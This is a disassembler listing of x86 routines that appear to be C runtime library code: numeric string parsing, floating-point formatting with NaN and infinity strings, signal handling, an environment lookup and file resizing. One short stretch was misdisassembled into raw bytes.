cmp [ebp+var_4], 0 ; jumptable 00419943 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_419A8E
loc_419A81: ; CODE XREF: sub_4198E0+1ACj
cmp bl, 30h
jnz short loc_419A8E
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_419A81
; ---------------------------------------------------------------------------
loc_419A8E: ; CODE XREF: sub_4198E0+19Fj
; sub_4198E0+1A4j ...
cmp ds:dword_42E39C, edx
jle short loc_419AA7
movzx eax, bl
push esi
push eax
call sub_413446
pop ecx
pop ecx
push 1
pop edx
jmp short loc_419AB5
; ---------------------------------------------------------------------------
loc_419AA7: ; CODE XREF: sub_4198E0+1B4j
mov ecx, ds:off_42E190
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_419AB5: ; CODE XREF: sub_4198E0+1C5j
test eax, eax
jz short loc_419AD5
cmp [ebp+var_4], 19h
jnb short loc_419AD0
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_419AD0: ; CODE XREF: sub_4198E0+1DDj
mov bl, [edi]
inc edi
jmp short loc_419A8E
; ---------------------------------------------------------------------------
loc_419AD5: ; CODE XREF: sub_4198E0+18Cj
; sub_4198E0+1D7j
cmp bl, 2Bh
jz loc_4199E8
cmp bl, 2Dh
jz loc_4199E8
jmp loc_4199C1
; ---------------------------------------------------------------------------
loc_419AEC: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
cmp ds:dword_42E39C, edx ; jumptable 00419943 case 5
mov [ebp+var_24], edx
jle short loc_419B08
movzx eax, bl
push esi
push eax
call sub_413446
pop ecx
pop ecx
push 1
pop edx
jmp short loc_419B16
; ---------------------------------------------------------------------------
loc_419B08: ; CODE XREF: sub_4198E0+215j
mov ecx, ds:off_42E190
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_419B16: ; CODE XREF: sub_4198E0+226j
test eax, eax
jz loc_419BC8
mov eax, esi
jmp short loc_419B79
; ---------------------------------------------------------------------------
loc_419B22: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
lea ecx, [edi-2] ; jumptable 00419943 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_419B32
cmp bl, 39h
jle short loc_419B76
loc_419B32: ; CODE XREF: sub_4198E0+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_419BAE
dec eax
dec eax
jz short loc_419BA2
sub eax, 3
jnz loc_419C56
loc_419B47: ; CODE XREF: sub_4198E0+2A4j
push 8
jmp short loc_419BB0
; ---------------------------------------------------------------------------
loc_419B4B: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
mov [ebp+var_20], edx ; jumptable 00419943 case 8
loc_419B4E: ; CODE XREF: sub_4198E0+276j
cmp bl, 30h
jnz short loc_419B58
mov bl, [edi]
inc edi
jmp short loc_419B4E
; ---------------------------------------------------------------------------
loc_419B58: ; CODE XREF: sub_4198E0+271j
cmp bl, 31h
jl loc_419C53
cmp bl, 39h
jg loc_419C53
jmp short loc_419B76
; ---------------------------------------------------------------------------
loc_419B6C: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
cmp bl, 31h ; jumptable 00419943 case 7
jl short loc_419B7F
cmp bl, 39h
jg short loc_419B7F
loc_419B76: ; CODE XREF: sub_4198E0+250j
; sub_4198E0+28Aj
push 9
loc_419B78: ; CODE XREF: sub_4198E0+76j
pop eax
loc_419B79: ; CODE XREF: sub_4198E0+240j
dec edi
jmp loc_419937
; ---------------------------------------------------------------------------
loc_419B7F: ; CODE XREF: sub_4198E0+28Fj
; sub_4198E0+294j
cmp bl, 30h
jnz short loc_419BC8
jmp short loc_419B47
; ---------------------------------------------------------------------------
loc_419B86: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
cmp [ebp+arg_18], 0 ; jumptable 00419943 case 11
jz short loc_419BB6
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_419BAE
dec eax
dec eax
jnz loc_419C56
loc_419BA2: ; CODE XREF: sub_4198E0+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_419937
; ---------------------------------------------------------------------------
loc_419BAE: ; CODE XREF: sub_4198E0+258j
; sub_4198E0+2B8j
push 7
loc_419BB0: ; CODE XREF: sub_4198E0+85j
; sub_4198E0+103j ...
pop eax
jmp loc_419937
; ---------------------------------------------------------------------------
loc_419BB6: ; CODE XREF: sub_4198E0+2AAj
push 0Ah
dec edi
pop eax
loc_419BBA: ; CODE XREF: sub_4198E0+5Dj
; sub_4198E0+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00419943 case 10
jz loc_419C58
jmp loc_419937
; ---------------------------------------------------------------------------
loc_419BC8: ; CODE XREF: sub_4198E0+12Dj
; sub_4198E0+238j ...
mov edi, [ebp+arg_8]
jmp loc_419C58
; ---------------------------------------------------------------------------
loc_419BD0: ; CODE XREF: sub_4198E0+63j
; DATA XREF: seg000:off_419D81o
mov [ebp+var_20], 1 ; jumptable 00419943 case 9
xor esi, esi
loc_419BD9: ; CODE XREF: sub_4198E0+339j
cmp ds:dword_42E39C, 1
jle short loc_419BF1
movzx eax, bl
push 4
push eax
call sub_413446
pop ecx
pop ecx
jmp short loc_419C00
; ---------------------------------------------------------------------------
loc_419BF1: ; CODE XREF: sub_4198E0+300j
mov ecx, ds:off_42E190
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_419C00: ; CODE XREF: sub_4198E0+30Fj
test eax, eax
jz short loc_419C20
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_419C1B
mov bl, [edi]
inc edi
jmp short loc_419BD9
; ---------------------------------------------------------------------------
loc_419C1B: ; CODE XREF: sub_4198E0+334j
mov esi, 1451h
loc_419C20: ; CODE XREF: sub_4198E0+322j
mov [ebp+var_1C], esi
loc_419C23: ; CODE XREF: sub_4198E0+371j
cmp ds:dword_42E39C, 1
jle short loc_419C3B
movzx eax, bl
push 4
push eax
call sub_413446
pop ecx
pop ecx
jmp short loc_419C4A
; ---------------------------------------------------------------------------
loc_419C3B: ; CODE XREF: sub_4198E0+34Aj
mov ecx, ds:off_42E190
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_419C4A: ; CODE XREF: sub_4198E0+359j
test eax, eax
jz short loc_419C53
mov bl, [edi]
inc edi
jmp short loc_419C23
; ---------------------------------------------------------------------------
loc_419C53: ; CODE XREF: sub_4198E0+99j
; sub_4198E0+E4j ...
dec edi
jmp short loc_419C58
; ---------------------------------------------------------------------------
loc_419C56: ; CODE XREF: sub_4198E0+261j
; sub_4198E0+2BCj
mov edi, ecx
loc_419C58: ; CODE XREF: sub_4198E0+2DDj
; sub_4198E0+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_419D40
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_419C84
cmp [ebp+var_45], 5
jl short loc_419C78
inc [ebp+var_45]
loc_419C78: ; CODE XREF: sub_4198E0+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_419C87
; ---------------------------------------------------------------------------
loc_419C84: ; CODE XREF: sub_4198E0+38Dj
mov eax, [ebp+var_C]
loc_419C87: ; CODE XREF: sub_4198E0+3A2j
cmp [ebp+var_4], 0
jbe loc_419D36
loc_419C91: ; CODE XREF: sub_4198E0+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_419C9F
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_419C91
; ---------------------------------------------------------------------------
loc_419C9F: ; CODE XREF: sub_4198E0+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_419819
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_419CBE
neg eax
loc_419CBE: ; CODE XREF: sub_4198E0+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_419CC9
add eax, [ebp+arg_10]
loc_419CC9: ; CODE XREF: sub_4198E0+3E4j
cmp [ebp+var_24], ecx
jnz short loc_419CD1
sub eax, [ebp+arg_14]
loc_419CD1: ; CODE XREF: sub_4198E0+3ECj
cmp eax, 1450h
jle short loc_419D08
mov [ebp+var_2C], 1
loc_419CDF: ; CODE XREF: sub_4198E0+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_419CEB: ; CODE XREF: sub_4198E0+454j
; sub_4198E0+45Ej
cmp [ebp+var_2C], 0
jz short loc_419D51
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_419D66
; ---------------------------------------------------------------------------
loc_419D08: ; CODE XREF: sub_4198E0+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_419D18
mov [ebp+var_30], 1
jmp short loc_419CDF
; ---------------------------------------------------------------------------
loc_419D18: ; CODE XREF: sub_4198E0+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41A599
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_419CEB
; ---------------------------------------------------------------------------
loc_419D36: ; CODE XREF: sub_4198E0+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_419CEB
; ---------------------------------------------------------------------------
loc_419D40: ; CODE XREF: sub_4198E0+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_419D66
; ---------------------------------------------------------------------------
loc_419D51: ; CODE XREF: sub_4198E0+40Fj
cmp [ebp+var_30], 0
jz short loc_419D66
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_419D66: ; CODE XREF: sub_4198E0+426j
; sub_4198E0+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4198E0 endp
; ---------------------------------------------------------------------------
off_419D81 dd offset loc_41994A ; DATA XREF: sub_4198E0+63r
dd offset loc_419999 ; jump table for switch statement
dd offset loc_4199F0
dd offset loc_419A1A
dd offset loc_419A75
dd offset loc_419AEC
dd offset loc_419B22
dd offset loc_419B6C
dd offset loc_419B4B
dd offset loc_419BD0
dd offset loc_419BBA
dd offset loc_419B86
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DB1 proc near ; CODE XREF: sub_4187F9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_419E13
mov byte ptr [ebx+2], 2Dh
jmp short loc_419E17
; ---------------------------------------------------------------------------
loc_419E13: ; CODE XREF: sub_419DB1+5Aj
mov byte ptr [ebx+2], 20h
loc_419E17: ; CODE XREF: sub_419DB1+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_419E3D
test edi, edi
jnz short loc_419E3D
cmp [ebp+arg_0], edi
jnz short loc_419E3D
loc_419E28: ; CODE XREF: sub_419DB1+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41A03B
; ---------------------------------------------------------------------------
loc_419E3D: ; CODE XREF: sub_419DB1+6Cj
; sub_419DB1+70j ...
cmp dx, si
jnz short loc_419EBC
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_419E56
cmp [ebp+arg_0], 0
jz short loc_419E65
loc_419E56: ; CODE XREF: sub_419DB1+9Dj
test edi, 40000000h
jnz short loc_419E65
push offset a1Snan ; "1#SNAN"
jmp short loc_419EAB
; ---------------------------------------------------------------------------
loc_419E65: ; CODE XREF: sub_419DB1+A3j
; sub_419DB1+ABj
test cx, cx
jz short loc_419E7F
cmp edi, 0C0000000h
jnz short loc_419E7F
cmp [ebp+arg_0], 0
jnz short loc_419EA6
push offset a1Ind ; "1#IND"
jmp short loc_419E8E
; ---------------------------------------------------------------------------
loc_419E7F: ; CODE XREF: sub_419DB1+B7j
; sub_419DB1+BFj
cmp edi, eax
jnz short loc_419EA6
cmp [ebp+arg_0], 0
jnz short loc_419EA6
push offset a1Inf ; "1#INF"
loc_419E8E: ; CODE XREF: sub_419DB1+CCj
lea eax, [ebx+4]
push eax
call sub_411B70
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_419E9D: ; CODE XREF: sub_419DB1+109j
and [ebp+var_4], 0
jmp loc_41A014
; ---------------------------------------------------------------------------
loc_419EA6: ; CODE XREF: sub_419DB1+C5j
; sub_419DB1+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_419EAB: ; CODE XREF: sub_419DB1+B2j
lea eax, [ebx+4]
push eax
call sub_411B70
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_419E9D
; ---------------------------------------------------------------------------
loc_419EBC: ; CODE XREF: sub_419DB1+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41A599
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_419F1D
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41A379
pop ecx
pop ecx
loc_419F1D: ; CODE XREF: sub_419DB1+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_419F37
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_419F3A
jmp loc_419E28
; ---------------------------------------------------------------------------
loc_419F37: ; CODE XREF: sub_419DB1+173j
mov edi, [ebp+arg_C]
loc_419F3A: ; CODE XREF: sub_419DB1+17Fj
cmp edi, 15h
jle short loc_419F42
push 15h
pop edi
loc_419F42: ; CODE XREF: sub_419DB1+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_419F58: ; CODE XREF: sub_419DB1+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4197BE
dec [ebp+arg_14]
pop ecx
jnz short loc_419F58
test esi, esi
jge short loc_419F82
neg esi
and esi, 0FFh
jle short loc_419F82
loc_419F75: ; CODE XREF: sub_419DB1+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4197EC
dec esi
pop ecx
jnz short loc_419F75
loc_419F82: ; CODE XREF: sub_419DB1+1B8j
; sub_419DB1+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_419FDF
mov [ebp+arg_C], ecx
loc_419F92: ; CODE XREF: sub_419DB1+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4197BE
lea eax, [ebp+var_10]
push eax
call sub_4197BE
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_419760
lea eax, [ebp+var_10]
push eax
call sub_4197BE
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_419F92
mov eax, [ebp+arg_14]
loc_419FDF: ; CODE XREF: sub_419DB1+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41A01C
loc_419FEC: ; CODE XREF: sub_419DB1+248j
cmp eax, ecx
jb short loc_419FFF
cmp byte ptr [eax], 39h
jnz short loc_419FFB
mov byte ptr [eax], 30h
dec eax
jmp short loc_419FEC
; ---------------------------------------------------------------------------
loc_419FFB: ; CODE XREF: sub_419DB1+242j
cmp eax, ecx
jnb short loc_41A003
loc_419FFF: ; CODE XREF: sub_419DB1+23Dj
inc eax
inc word ptr [ebx]
loc_41A003: ; CODE XREF: sub_419DB1+24Cj
inc byte ptr [eax]
loc_41A005: ; CODE XREF: sub_419DB1+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41A014: ; CODE XREF: sub_419DB1+F0j
mov eax, [ebp+var_4]
loc_41A017: ; CODE XREF: sub_419DB1+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A01C: ; CODE XREF: sub_419DB1+239j
; sub_419DB1+275j
cmp eax, ecx
jb short loc_41A02C
cmp byte ptr [eax], 30h
jnz short loc_41A028
dec eax
jmp short loc_41A01C
; ---------------------------------------------------------------------------
loc_41A028: ; CODE XREF: sub_419DB1+272j
cmp eax, ecx
jnb short loc_41A005
loc_41A02C: ; CODE XREF: sub_419DB1+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41A03B: ; CODE XREF: sub_419DB1+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41A017
sub_419DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A044 proc near ; CODE XREF: sub_4155EC+33EDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41A0AB
dec eax
dec eax
jz short loc_41A09C
sub eax, 4
jz short loc_41A09C
sub eax, 3
jz short loc_41A09C
sub eax, 4
jz short loc_41A08F
sub eax, 6
jz short loc_41A082
dec eax
jz short loc_41A075
or eax, 0FFFFFFFFh
jmp loc_41A16D
; ---------------------------------------------------------------------------
loc_41A075: ; CODE XREF: sub_41A044+27j
mov esi, ds:dword_45FB1C
mov eax, offset dword_45FB1C
jmp short loc_41A0B6
; ---------------------------------------------------------------------------
loc_41A082: ; CODE XREF: sub_41A044+24j
mov esi, ds:dword_45FB18
mov eax, offset dword_45FB18
jmp short loc_41A0B6
; ---------------------------------------------------------------------------
loc_41A08F: ; CODE XREF: sub_41A044+1Fj
mov esi, ds:dword_45FB20
mov eax, offset dword_45FB20
jmp short loc_41A0B6
; ---------------------------------------------------------------------------
loc_41A09C: ; CODE XREF: sub_41A044+10j
; sub_41A044+15j ...
push edi
call sub_41A171
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41A0B6
; ---------------------------------------------------------------------------
loc_41A0AB: ; CODE XREF: sub_41A044+Cj
mov esi, ds:dword_45FB14
mov eax, offset dword_45FB14
loc_41A0B6: ; CODE XREF: sub_41A044+3Cj
; sub_41A044+49j ...
cmp esi, 1
jnz short loc_41A0C2
xor eax, eax
jmp loc_41A16D
; ---------------------------------------------------------------------------
loc_41A0C2: ; CODE XREF: sub_41A044+75j
test esi, esi
jnz short loc_41A0CD
push 3
call sub_4125D8
loc_41A0CD: ; CODE XREF: sub_41A044+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41A0DF
cmp edi, 0Bh
jz short loc_41A0DF
cmp edi, 4
jnz short loc_41A105
loc_41A0DF: ; CODE XREF: sub_41A044+8Fj
; sub_41A044+94j
mov ebx, ds:dword_45F8F4
and ds:dword_45F8F4, 0
cmp edi, ecx
jnz short loc_41A134
mov edx, ds:dword_42E7EC
mov ds:dword_42E7EC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41A108
; ---------------------------------------------------------------------------
loc_41A105: ; CODE XREF: sub_41A044+99j
mov ebx, [ebp+arg_0]
loc_41A108: ; CODE XREF: sub_41A044+BFj
cmp edi, ecx
jnz short loc_41A134
mov eax, ds:dword_42E7E0
mov ecx, ds:dword_42E7E4
add ecx, eax
cmp eax, ecx
jge short loc_41A13B
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:42E770h[edx*4]
loc_41A129: ; CODE XREF: sub_41A044+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41A129
jmp short loc_41A13B
; ---------------------------------------------------------------------------
loc_41A134: ; CODE XREF: sub_41A044+AAj
; sub_41A044+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41A149
loc_41A13B: ; CODE XREF: sub_41A044+D7j
; sub_41A044+EEj
push ds:dword_42E7EC
push 8
call esi
pop ecx
pop ecx
jmp short loc_41A157
; ---------------------------------------------------------------------------
loc_41A149: ; CODE XREF: sub_41A044+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_41A157
cmp edi, 4
jnz short loc_41A16A
loc_41A157: ; CODE XREF: sub_41A044+103j
; sub_41A044+10Cj
cmp edi, 8
mov ds:dword_45F8F4, ebx
jnz short loc_41A16A
mov eax, [ebp+arg_0]
mov ds:dword_42E7EC, eax
loc_41A16A: ; CODE XREF: sub_41A044+111j
; sub_41A044+11Cj
xor eax, eax
pop ebx
loc_41A16D: ; CODE XREF: sub_41A044+2Cj
; sub_41A044+79j
pop edi
pop esi
pop ebp
retn
sub_41A044 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A171 proc near ; CODE XREF: sub_41A044+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_42E7E8
cmp ds:dword_42E76C, edx
push esi
mov eax, offset dword_42E768
jz short loc_41A19F
lea esi, [ecx+ecx*2]
lea esi, ds:42E768h[esi*4]
loc_41A193: ; CODE XREF: sub_41A171+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41A19F
cmp [eax+4], edx
jnz short loc_41A193
loc_41A19F: ; CODE XREF: sub_41A171+16j
; sub_41A171+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:42E768h[ecx*4]
cmp eax, ecx
jnb short loc_41A1B3
cmp [eax+4], edx
jz short locret_41A1B5
loc_41A1B3: ; CODE XREF: sub_41A171+3Bj
xor eax, eax
locret_41A1B5: ; CODE XREF: sub_41A171+40j
retn
sub_41A171 endp
; =============== S U B R O U T I N E =======================================
sub_41A1B6 proc near ; CODE XREF: seg000:00418BA5p
arg_0 = dword ptr 4
cmp ds:dword_460EA8, 0
push ebx
push esi
mov esi, ds:dword_45F86C
push edi
jz short loc_41A22D
test esi, esi
jnz short loc_41A1E7
cmp ds:dword_45F874, esi
jz short loc_41A22D
call sub_41A654
test eax, eax
jnz short loc_41A22D
mov esi, ds:dword_45F86C
test esi, esi
jz short loc_41A22D
loc_41A1E7: ; CODE XREF: sub_41A1B6+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41A22D
push ebx
call sub_410B60
pop ecx
mov edi, eax
loc_41A1F8: ; CODE XREF: sub_41A1B6+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41A22D
push eax
call sub_410B60
cmp eax, edi
pop ecx
jbe short loc_41A220
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41A220
push edi
push ebx
push eax
call sub_41A615
add esp, 0Ch
test eax, eax
jz short loc_41A225
loc_41A220: ; CODE XREF: sub_41A1B6+51j
; sub_41A1B6+59j
add esi, 4
jmp short loc_41A1F8
; ---------------------------------------------------------------------------
loc_41A225: ; CODE XREF: sub_41A1B6+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41A22F
; ---------------------------------------------------------------------------
loc_41A22D: ; CODE XREF: sub_41A1B6+10j
; sub_41A1B6+1Cj ...
xor eax, eax
loc_41A22F: ; CODE XREF: sub_41A1B6+75j
pop edi
pop esi
pop ebx
retn
sub_41A1B6 endp
; ---------------------------------------------------------------------------
loc_41A233: ; CODE XREF: sub_4192E6+271p
push ebp
mov ebp, esp
mov eax, 1000h
call sub_410BE0
push ebx
mov ebx, [ebp+8]
push esi
xor esi, esi
cmp ebx, ds:dword_460C60
jnb loc_41A368
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_460B60[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41A368
push 1
push esi
push ebx
call sub_4169A2
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_41A372
push 2
push esi
push ebx
call sub_4169A2
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41A372
push edi
mov edi, [ebp+0Ch]
sub edi, eax
test edi, edi
jle short loc_41A315
push 1000h
lea eax, [ebp-1000h]
push esi
push eax
call sub_410590
push 8000h
push ebx
call sub_41A6C2
add esp, 14h
mov [ebp+0Ch], eax
loc_41A2C9: ; CODE XREF: seg000:0041A2F0j
mov eax, 1000h
cmp edi, eax
jge short loc_41A2D4
mov eax, edi
loc_41A2D4: ; CODE XREF: seg000:0041A2D0j
push eax
lea eax, [ebp-1000h]
push eax
push ebx
call sub_417DAC
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41A2F2
sub edi, eax
test edi, edi
jle short loc_41A308
jmp short loc_41A2C9
; ---------------------------------------------------------------------------
loc_41A2F2: ; CODE XREF: seg000:0041A2E8j
cmp ds:dword_45F848, 5
jnz short loc_41A305
mov ds:dword_45F844, 0Dh
loc_41A305: ; CODE XREF: seg000:0041A2F9j
or esi, 0FFFFFFFFh
loc_41A308: ; CODE XREF: seg000:0041A2EEj
push dword ptr [ebp+0Ch]
push ebx
call sub_41A6C2
pop ecx
pop ecx
jmp short loc_41A355
; ---------------------------------------------------------------------------
loc_41A315: ; CODE XREF: seg000:0041A2A4j
jge short loc_41A355
push 0
push dword ptr [ebp+0Ch]
push ebx
call sub_4169A2
push ebx
call sub_419252
add esp, 10h
push eax
call near ptr 3E0000h
adc ecx, [ebx+1BDEF7F0h]
div bh
fimul word ptr [esi-7Dh]
; ---------------------------------------------------------------------------
dd 1575FFFEh, 0F84405C7h, 0D0045h, 15FF0000h, 41C068h
dd 45F848A3h
db 0
; ---------------------------------------------------------------------------
loc_41A355: ; CODE XREF: seg000:0041A313j
; seg000:loc_41A315j
push 0
push dword ptr [ebp+8]
push ebx
call sub_4169A2
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41A375
; ---------------------------------------------------------------------------
loc_41A368: ; CODE XREF: seg000:0041A24Dj
; seg000:0041A269j
mov ds:dword_45F844, 9
loc_41A372: ; CODE XREF: seg000:0041A281j
; seg000:0041A296j
or eax, 0FFFFFFFFh
loc_41A375: ; CODE XREF: seg000:0041A366j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A379 proc near ; CODE XREF: sub_419DB1+165p
; sub_41A599+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41A579
cmp cx, 7FFFh
jnb loc_41A579
cmp dx, 0BFFDh
ja loc_41A579
cmp dx, 3FBFh
ja short loc_41A3E2
xor eax, eax
jmp short loc_41A41C
; ---------------------------------------------------------------------------
loc_41A3E2: ; CODE XREF: sub_41A379+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41A404
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41A404
